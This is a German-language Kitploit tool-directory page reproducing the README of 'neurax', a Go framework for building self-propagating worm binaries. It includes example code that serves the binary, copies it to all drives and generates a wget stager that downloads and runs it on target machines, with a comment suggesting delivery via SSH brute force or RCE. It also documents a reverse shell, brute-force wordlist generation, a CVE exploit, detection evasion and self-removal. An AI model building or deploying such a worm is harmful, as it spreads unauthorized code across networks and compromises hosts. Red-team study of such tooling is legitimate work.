Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
neurax — Ein Framework zur Erstellung selbstverbreitender Binärdateien | Kitploit
Tools/GitHubGitHub/redcode-labs/neurax
AufklärungPasswortangriffePayload-GenerierungPersistenzmechanismenExploitationLaterale BewegungPost-ExploitationMalware-AnalyseCommand and ControlRed Teaming
GitHubredcode-labs/neurax

neurax

1.0k101vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Ein Framework zur Erstellung selbstverbreitender Binärdateien

Repository anzeigen
Teilen



Neurax



Ein Framework, das die Erstellung von selbstverbreitender Software unterstützt



Überblick

Mit Hilfe von Neurax können Golang-Binärdateien ohne externe Server im LAN/WAN verbreitet werden.

Verschiedene Konfigurationsoptionen und Command Stager ermöglichen eine schnelle Ausbreitung in unterschiedlichen drahtlosen Umgebungen.

Beispielcode

root@kitploit:~
package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Port und Stager für die Bereitstellung festlegen
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Einen Server starten, der die aktuelle Binärdatei im Hintergrund bereitstellt
  go NeuraxServer()
 
  //Aktuelle Binärdatei auf alle logischen Laufwerke kopieren
  NeuraxDisks()

  //Einen Command Stager erstellen, der auf dem Zielcomputer ausgeführt werden soll
  //Er lädt die Binärdatei herunter, dekodiert und führt sie aus
  cmd_stager := NeuraxStager()

  /* Jetzt muss der oben erzeugte Befehl auf irgendeine Weise ausgeführt werden.
     Dazu kann SSH-Bruteforce, eine bestimmte RCE oder was auch immer verwendet werden ;> */

}



Neu in v. 2.X (separates Unterprojekt)

  • Überarbeitung: Ansatz eines Frameworks zugunsten einer einsatzbereiten Binärdatei aufgegeben
  • Generischer wget-Stager für alle UNIX-Ziele
  • Einzelne Konfigurationsdatei zur dynamischen Anpassung des Wurmverhaltens
  • Automatische Selbstentfernung via unlinkat(2)
  • Beispielhafter LinuxKI-CVE-Exploit zur Erweiterung der Netzwerkausbreitungsfähigkeiten
  • JSON-Konfigurationsdatei wird heruntergeladen und ausgewertet
  • Minimalistische Neufassung des Host-Harvesters

Neu in v. 2.5

  • Optionale Hintergrundausführung der Binärdatei der zweiten Stufe (N.StagerBg)
  • Command Stager speichert und führt im kontextlokalen Pfad aus
  • Entfernt die heruntergeladene Binärdatei sofort nach erfolgreicher Ausführung
  • Synchronisierter Befehlsausführungsmechanismus aus Geschwindigkeits-/Stabilitätsgründen entfernt. Vor dem nächsten Release wird eine angemessene Alternative bereitgestellt.
  • N.NoInfectCheck zum Deaktivieren der Überprüfung, ob der Host bereits infiziert ist.
  • Einmalausführungsrichtlinie auf dem Zielcomputer, erzwungen durch eine exklusive Dateisperre innerhalb von NeuraxServer().
  • Geschachtelte Goroutine zur Bereitstellung der Binärdatei hinzugefügt
  • Neuer httrack-Stager für Linux
  • Auskommentierte allgemeine Wortliste zur Erkennungsvermeidung
  • Command Stager kann vor der Entfernung der Binärdatei warten (N.StagerRemovalDelay)

Neu in v. 2.0

  • Neue Wortlist-Mutatoren + gängige Passwörter nach Ländern
  • Improvisiertes passives Scannen
  • .FastScan-Option, die aktive Scans etwas schneller macht
  • Wortlisten werden strikt im Arbeitsspeicher erstellt
  • NeuraxScan() akzeptiert eine Callback-Funktion anstelle eines Kanals als Argument.
  • NeuraxScan() scannt in einer Endlosschleife mit der Möglichkeit, ein Intervall zwischen jedem Scan des gesamten Subnetzes/Pools von Zielen festzulegen
  • Reverse-DNS-Lookup für Ziele, die nicht im IP-Format vorliegen
  • Extraktion von Zielkandidaten aus dem ARP-Cache
  • Möglichkeit, nur eine ausgewählte Liste von Zielen zu scannen + Priorisierung bestimmter Ziele (z. B. Standard-Gateways)
  • Möglichkeit, Schnittstelle und Timeout bei passivem Netzwerkscan anzugeben.
  • Verbesserter Command Stager (optional mit erhöhten Rechten / mehrmals ausführbar)
  • Einige Änderungen an Optionsnamen
  • NeuraxConfig. wurde zu N. (weil es kürzer zu tippen ist)
  • Funktionen für zufällige Speicherzuweisung + Binärmigration
  • Möglichkeit, mehrere Stager zu verketten (z. B. wget + curl)
  • Umfang und Komplexität der erstellten Wortliste können leicht angepasst werden (mit Optionen wie .WordlistExpand)
  • Möglichkeit, eine Time-to-Live für die erstellte Binärdatei festzulegen

Liste der Konfigurationseinträge

Finden neuer Ziele

Die Funktion NeuraxScan(func(string)) ermöglicht die Erkennung aktiver Hosts im lokalen Netzwerk. Das einzige Argument ist eine Callback-Funktion, die im Hintergrund für jeden aktiven Host aufgerufen wird. Ein Host gilt als aktiv, wenn er mindestens einen offenen Port hat, nicht bereits infiziert ist und die in N. festgelegten Bedingungen erfüllt.

NeuraxScan() läuft als Endlosschleife – es scannt das gesamte Subnetz, das durch den Konfigurationseintrag .Cidr festgelegt wird. Sobald alle Hosts gescannt sind, schläft die Funktion für das in .ScanInterval angegebene Intervall.

Laufwerksinfektion

Die Neurax-Binärdatei muss sich nicht zwangsläufig über drahtlose Mittel kopieren. Die Funktion NeuraxDisks() kopiert die aktuelle Binärdatei (unter einem nicht verdächtigen Namen) auf alle gefundenen logischen Laufwerke. Die kopierte Binärdatei wird nicht ausgeführt, sondern verbleibt lediglich am Zielort und wartet darauf, ausgeführt zu werden. NeuraxDisks() gibt einen error zurück, wenn die Liste der Laufwerke nicht abgerufen werden kann oder das Kopieren an ein beliebiges Ziel unmöglich war.

Eine weitere Funktion, NeuraxZIP(num_files int) err, ermöglicht die Erstellung eines zufällig benannten .zip-Archivs, das die aktuelle Binärdatei enthält. Es wird im aktuellen Verzeichnis gespeichert und enthält bis zu num_files zufällige Dateien.

NeuraxZIPSelf() erstellt einfach ein ZIP-Archiv der aktuellen Binärdatei mit demselben Namen.

Reverse-Verbindungen

Mit NeuraxReverse() kann eine interaktive Reverse-Shell eingerichtet werden. Diese empfängt Befehle vom in .ReverseListener angegebenen Hostnamen in der Form "<host>:<port>". Das verwendete Protokoll wird unter .ReverseProto festgelegt. Wenn NeuraxOpenComm() vor dem Aufruf dieser Funktion gestartet wurde, verhält sich jeder Befehl wie im obigen Abschnitt beschrieben. Andernfalls werden die Befehle lokal ausgeführt.

Hinweis: Diese Funktion sollte ebenfalls als Goroutine ausgeführt werden, um Blockaden durch die unendliche Empfangsschleife zu vermeiden.

Bereinigung

Wenn ein Knoten den Befehl "purge" empfängt, sendet er diesen Befehl an alle anderen Knoten weiter, entfernt sich selbst vom Host und beendet sich. Dieses Verhalten kann auch durch einen Aufruf von NeuraxPurge() an einer beliebigen Stelle im Quellcode ausgelöst werden.

Erstellung einer Wortliste

Basiert der gewählte Ausbreitungsvektor auf einer Art von Brute-Force, ist es sinnvoll, eine geeignete Wortliste vorbereitet zu haben. Das Speichern von Wörtern in einer Textdatei auf dem Client ist nicht wirklich effektiv, daher kann mit NeuraxWordlist(...words) []string eine grundlegende Wortliste mutiert werden. Zur Permutation einer Gruppe von Wörtern verwenden Sie NeuraxWordlistPermute(..words) []string.

Festlegen einer Time-to-Live

Wenn die Binärdatei sich nach einer bestimmten Zeit selbst entfernen soll, verwenden Sie NeuraxSetTTL() am Anfang Ihres Codes. Diese Funktion sollte als Goroutine gestartet werden. Zum Beispiel:

go NeuraxSetTTL("2m")

bewirkt, dass die Binärdatei nach 2 Minuten ab der ersten Ausführung NeuraxPurgeSelf() ausführt.

Verwendung mehrerer Stager gleichzeitig

Wenn alle für die jeweilige Plattform verfügbaren Stager miteinander verketten möchten, setzen Sie .Stager auf "chain".

Verschieben der abgelegten Binärdatei

Wenn die Binärdatei nach der ersten Ausführung kopiert werden muss, verwenden Sie NeuraxMigrate(path string). Sie kopiert die Binärdatei unter dem angegebenen path, entfernt die aktuelle Binärdatei und führt die neu migrierte aus.

Dieses Tool unterstützen

Wenn Ihnen dieses Projekt gefällt und Sie sein Wachstum fördern möchten, ziehen Sie bitte eine kleine Spende in Betracht :>

>>>>> SPENDEN <<<<<

Lizenz

Diese Software steht unter der MIT-Lizenz

Tool herunterladen
NameBeschreibungStandardwert
Nrx.Config.StagerName des zu verwendenden Command Stagersrandom, platform-kompatibel
Nrx.Config.StagerSudoWenn wahr, werden Linux-Cmd-Stager mit erhöhten Rechten ausgeführtfalse
Nrx.Config.StagerRetryAnzahl der Wiederholungen des Command Stagers0
Nrx.Config.StagerRemoveDelaySleep-Anweisung wird vor dem Entfernen der heruntergeladenen Binärdatei angewandttrue
Nrx.Config.PortPort zum Bereitstellen6741
Nrx.Config.PlatformZielplattformautomatisch erkannt
Nrx.Config.PathPfad, unter dem die Binärdatei auf dem Host gespeichert wird.
Nrx.Config.FileNameName, unter dem die heruntergeladene Binärdatei bereitgestellt und dann gespeichert wirdzufällig
Nrx.Config.Base64Übertragene Binärdatei in base64 kodierenfalse
Nrx.Config.CommPortPort, den Binärdateien zur gegenseitigen Kommunikation verwenden7777
Nrx.Config.CommProtoProtokoll für die Kommunikation zwischen Knoten"udp"
Nrx.Config.ReverseListenerEnthält "<host>:<port>" des entfernten Reverse-Shell-Handlersnicht angegeben
Nrx.Config.ReverseProtoZu verwendendes Protokoll für die Reverse-Verbindung"udp"
Nrx.Config.ScanRequiredPortNeuraxScan() behandelt einen Host nur dann als aktiv, wenn ein bestimmter Port geöffnet istkeine
Nrx.Config.ScanPassiveNeuraxScan() erkennt Hosts mittels passivem ARP-Datenverkehrsmonitoringfalse
Nrx.Config.ScanPassiveTimeoutNeuraxScan() überwacht die ARP-Ebene für diese Anzahl an Sekunden50 Sekunden
Nrx.Config.ScanPassiveIfaceBei passivem Scannen zu verwendende SchnittstelleStandard
Nrx.Config.ScanActiveTimeoutNeuraxScan() setzt diesen Wert als Timeout für den gescannten Port in jedem Thread2 Sekunden
Nrx.Config.ScanPassiveAllNeuraxScan() erfasst Pakete auf allen gefundenen Gerätenfalse
Nrx.Config.ScanPassiveNoArpPassiver Scan setzt keinen strengen ARP-Erfassungsfilterfalse
Nrx.Config.ScanFirstEin Slice mit IP-Adressen, die zuerst gescannt werden sollen[]string{}
Nrx.Config.ScanFirstOnlyNeuraxScan() scannt nur Hosts, die in .ScanFirst angegeben sindfalse
Nrx.Config.ScanArpCacheNeuraxScan() scannt zuerst die im lokalen ARP-Cache gefundenen Hosts. Funktioniert nur mit aktivem Scanfalse
Nrx.Config.ScanCidrNeuraxScan() scannt dieses CIDRlokale IP + "\24"
Nrx.Config.ScanActiveThreadsAnzahl der Threads für NeuraxScan()10
Nrx.Config.ScanFullRangeNeuraxScan() scannt alle Ports des Zielhosts, um festzustellen, ob er aktiv istvon 19 bis 300
Nrx.Config.ScanIntervalZeitintervall zum Warten vor dem erneuten Scannen des gesamten Subnetzes"2m"
Nrx.Config.ScanHostIntervalZeitintervall zum Warten vor dem Scannen des nächsten Hosts im aktiven Modus"none"
Nrx.Config.ScanGatewayFirstGateway ist der erste Host, der beim aktiven Scan gescannt wirdfalse
Nrx.Config.VerboseWenn wahr, werden alle Fehlermeldungen auf STDOUT ausgegebenfalse
Nrx.Config.RemoveBei Fehlern entfernt sich die Binärdatei selbst vom Hostfalse
Nrx.Config.PreventReexecWenn wahr, wird bei Übereinstimmung mit bereits zuvor empfangenen Befehlen der Befehl nicht ausgeführttrue
Nrx.Config.WordlistExpandNeuraxWordlist() führt nicht standardmäßige Transformationen an Eingabewörtern durchfalse
Nrx.Config.WordlistCommon20 häufigste Passwörter der Wortliste voranstellenfalse
Nrx.Config.WordlistCommonNumAnzahl der zu verwendenden häufigen Passwörteralle
Nrx.Config.WordlistCommonCountriesEine map[string]int mit Ländercodes und Anzahl der zu verwendenden Passwörtermap[string]int
Nrx.Config.WordlistMutatorsZu verwendende Mutatoren, wenn .WordlistExpand angegeben ist{"single_upper", "cyryllic", "encapsule"}
Nrx.Config.WordlistPermuteNumMaximale Länge der von NeuraxWordlistPermute() erzeugten Permutation2
Nrx.Config.WordlistPermuteSeparatorTrennzeichen für Permutationen"-"
Nrx.Config.WordlistShuffleErzeugte Wortliste vor der Rückgabe mischenfalse
Nrx.Config.AllocNumDieser Eintrag legt fest, wie oft NeuraxAlloc() zufälligen Speicher zuweist5
Nrx.Config.BlacklistSlice mit IP-Adressen, die von jeglichem Scannen ausgeschlossen werden[]string{}
Nrx.Config.FastHTTPHTTP-Anfrage in IsHostInfected() wird mit der fasthttp-Bibliothek durchgeführtfalse
Nrx.Config.DebugDebug-Meldungen aktivierenfalse
Nrx.Config.NoInfectCheckÜberprüfung, ob der Host bereits infiziert ist, deaktivierentrue